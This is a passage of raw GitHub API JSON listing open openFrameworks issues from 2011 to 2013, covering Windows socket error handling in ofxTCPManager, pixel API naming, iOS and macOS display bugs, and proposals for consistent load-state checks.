error\");\n\t\tbreak;\n```\n\nto:\n\n```\n\tdefault:\n\t\tofLog(OF_LOG_ERROR,\"ofxNetwork:\"+file+\": \" +line+\" unknown error: \" + ofToString(err) + \" see errno.h for description of the error\");\n\t\tbreak;\n```\n\nSince errno would not be set on windows machines.\n\n\n\n\n### ofxTCPManager.cpp - issue 2\n\nIn the `Receive` method of the `ofxTCPManager` the function will always return -1 when checking for data and there is no new data and the TCPServer has been set to non-blocking.\n\nAfter changing the code in issue 1 mentioned above i got:\n\n`ofxNetwork:addons\\ofxNetwork\\src\\ofxTCPManager.cpp: 304 unknown error: 10035 see errno.h for description of the error`\n\ninstead of `error: 0` when `errno`was used.\n\nWhich on windows is the [`WSAEWOULDBLOCK`](http://msdn.microsoft.com/en-us/library/ms740668.aspx) or `EWOULDBLOCK` as defined in `ofxNetworkUtils`\n\nSo someplace in the code there should be a mechanism to check if the code is client is non-blocking and ignore the error.\nThis is `windows` only but still could be as an additional parameter to the `Receive` method. Or add it as an `switch case` for the `EWOULDBLOCK` in the `ofxNetworkUtils` and ignore the ouput and comment it.\n\nI just noticed this above when i started usin an application that i was developing on my mac an using it on windows machines this code would appear too often.\n\nSo as stated above my solution is that i added:\n\n```\n #ifdef TARGET_WIN32 // otherwise EAGAIN & EWOULDBLOCK will create a \"duplicate case value\" on Non windows\n\tcase EWOULDBLOCK: \n\t\t// \tofLog(OF_LOG_VERBOSE,\"ofxNetwork:\"+file+\": \" +line+\" EWOULDBLOCK: perhaps non-blocking\");\n\t\tbreak;\n #endif\n```\ncode and ignoring the output.\n\n\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/589","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/589/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/589/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/589/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/589","id":976610,"number":589,"title":"setFromPixels vs setFromExternalPixels","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-05-31T02:06:22Z","updated_at":"2011-05-31T02:06:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"setFromPixels has two forms: one that takes an int channels, another that takes ofImageType.\r\n\r\nsetFromExternalPixels only has one form: it takes an int channels.\r\n\r\nin my opinion, it makes sense to change them both to ofImageType only, because the int channels is susceptible to accidentally passing an ofImageType to it."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/582","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/582/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/582/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/582/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/582","id":942647,"number":582,"title":"templated code needs to be more readable","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2011-05-23T17:46:28Z","updated_at":"2011-12-03T21:54:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofImage_ should be ofBaseImage, likewise with ofPixels_\n\nin general, X_ style classes should be BaseX\n\ntemplated functions that are just sitting around should also have descriptive template names.\n\nit's important for this to happen before 007, otherwise code will be written against ofImage\\_<T> etc."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/572","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/572/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/572/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/572/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/572","id":895515,"number":572,"title":"ofToggleFullscreen doesn't set width and height correctly","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-05-13T15:28:46Z","updated_at":"2011-05-13T15:28:46Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"http://forum.openframeworks.cc/index.php?topic=6201.0"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/565","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/565/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/565/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/565/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/565","id":853551,"number":565,"title":"Textfield in ofxiPhoneKeyboard upside down in landscape","user":{"login":"labatrockwell","id":313943,"avatar_url":"https://secure.gravatar.com/avatar/e6d243a56cd069a225f56f4a388e8838?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"e6d243a56cd069a225f56f4a388e8838","url":"https://api.github.com/users/labatrockwell","html_url":"https://github.com/labatrockwell","followers_url":"https://api.github.com/users/labatrockwell/followers","following_url":"https://api.github.com/users/labatrockwell/following","gists_url":"https://api.github.com/users/labatrockwell/gists{/gist_id}","starred_url":"https://api.github.com/users/labatrockwell/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/labatrockwell/subscriptions","organizations_url":"https://api.github.com/users/labatrockwell/orgs","repos_url":"https://api.github.com/users/labatrockwell/repos","events_url":"https://api.github.com/users/labatrockwell/events{/privacy}","received_events_url":"https://api.github.com/users/labatrockwell/received_events","type":"Organization"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":null,"comments":1,"created_at":"2011-05-05T14:20:42Z","updated_at":"2012-03-10T04:48:58Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm fixing it using \r\n_textField.transform = CGAffineTransformMakeRotation(M_PI*1.5f);\r\nin - (void) setFrame: (CGRect) rect\r\nto fix it now."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/564","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/564/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/564/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/564/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/564","id":850096,"number":564,"title":"ofxShader for iOS","user":{"login":"chrisirhc","id":132584,"avatar_url":"https://secure.gravatar.com/avatar/22d0038769b1786fcdc0983bdb2e4033?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"22d0038769b1786fcdc0983bdb2e4033","url":"https://api.github.com/users/chrisirhc","html_url":"https://github.com/chrisirhc","followers_url":"https://api.github.com/users/chrisirhc/followers","following_url":"https://api.github.com/users/chrisirhc/following","gists_url":"https://api.github.com/users/chrisirhc/gists{/gist_id}","starred_url":"https://api.github.com/users/chrisirhc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chrisirhc/subscriptions","organizations_url":"https://api.github.com/users/chrisirhc/orgs","repos_url":"https://api.github.com/users/chrisirhc/repos","events_url":"https://api.github.com/users/chrisirhc/events{/privacy}","received_events_url":"https://api.github.com/users/chrisirhc/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-05-04T18:35:58Z","updated_at":"2011-12-03T21:20:01Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Does anybody know the status of this?\r\nI would like to help but I'm not sure where to start. Is the `iphone-dev-0061` the branch to work on this?\r\nI just want to know what's been done or whether there are plans in the works.\r\n\r\nI have posted this in the forum but have not received any response.\r\nhttp://forum.openframeworks.cc/index.php/topic,4089.msg29156.html#msg29156"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/555","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/555/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/555/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/555/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/555","id":812623,"number":555,"title":"ofxOpenCv -- ofxCvHaarFinder should have a draw function","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-04-26T00:36:47Z","updated_at":"2011-04-26T00:37:56Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"nothing fancy, but I have an implementation of ofxCvHaarFinder that draws, and it's useful for debugging. something like:\n\n``` c++\n void ofxCvHaarFinder::draw( float x, float y ) {\n\t\t// ofPushStyle(); ?\n\t\tofEnableAlphaBlending();\n\t\tofSetColor( 255,0,200,100 );\n\t\tglPushMatrix();\n\t\t\n\t\tglTranslatef( x, y, 0.0 );\n\t\t\n\t\tofNoFill();\n\t\tfor( int i=0; i; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"9d1c9cd0db105699c994ba8b16296c1b"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Mar 2013 10:13:24 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/502","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/502/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/502/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/502/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/502","id":684091,"number":502,"title":"ofSetOrientation doesn't work for cairo","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":3,"created_at":"2011-03-18T09:17:36Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"you need to use bUse3D flag but even then graphics aren't saved to pdf as they look on screen. \r\ntry the OF_ORIENTATION_90_LEFT or 90_RIGHT to reproduce. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/500","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/500/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/500/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/500/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/500","id":672608,"number":500,"title":"missing const version of getPixelsRef()","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2011-03-14T19:14:21Z","updated_at":"2011-12-03T10:41:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"right now ofImage::getPixelsRef() is always non-const, as well as ofImage::getPixels()"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/495","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/495/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/495/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/495/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/495","id":659446,"number":495,"title":"osx movieplayer problem on reloading","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-03-09T16:17:56Z","updated_at":"2011-03-09T16:17:56Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=5729&view=unread#unread"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/491","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/491/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/491/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/491/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/491","id":646846,"number":491,"title":"GLUT 007 hack","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-03-04T14:44:53Z","updated_at":"2011-03-04T14:44:53Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"it seems that some commented defines are still being preprocessed and making gdb behave weird:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=4&t=5602&view=unread#unread"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/490","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/490/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/490/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/490/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/490","id":643861,"number":490,"title":"close corners on basic shapes?","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-03-03T16:35:17Z","updated_at":"2011-03-03T16:35:17Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5678&view=unread#unread\r\n\r\nperhaps use style.linewith? won't work if you use glLineWidth though"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/463","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/463/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/463/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/463/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/463","id":581395,"number":463,"title":"object init/load state is not consistently testable","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":0,"created_at":"2011-02-07T19:58:23Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I like to be able to know when an object has successfully initialized or loaded and OF provides for this, for the most part, but in an inconsistent manner ie\r\n\r\nofVideoGrabber::initGrabber() returns a bool, but ofVideoGrabber:bInitialized is protected and therefore not accessible\r\n\r\nwhile\r\n\r\nofTrueTypeFont::bLoadedOk is public, but ofTrueTypeFont::loadFont() returns void\r\n\r\nand\r\n\r\nofImage::loadImage() returns a bool and ofLoadImage::bAllocated() returns a bool, yet ofImage::setFromPixels() returns void\r\n\r\nI propose all loadable/initable objects have loading functions which always return a bool and a testable function (isInited(), isLoaded(), etc) for use after loading. Ideally, the testable functions would always be named the same ie myImage.isLoaded(), myVideoGrabber().isLoaded(), myFont.isLoaded() but of course a general name may not apply to all situations (myVideoGrabber.isInited() probably makes more sense).\r\n\r\nHell, all the load functions could be overloaded ie ofImage::load(string filename), ofImage::load(ofPixels pixels), ofImage::load(unsigned char* pixels) across different objects, ofTrueTypeFont::load(string filename), ofVideoGrabber::load(int w, int h, int deviceID). This consistency looks nice to anal me. but might be confusing to newbies and of course would break old code (unless wrapped for legacy compatibility). It seems a little annoying that every objects seems to have it's own way of checking this and that ..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/462","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/462/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/462/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/462/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/462","id":580717,"number":462,"title":"OpenCV cvSobel() not working with latest master 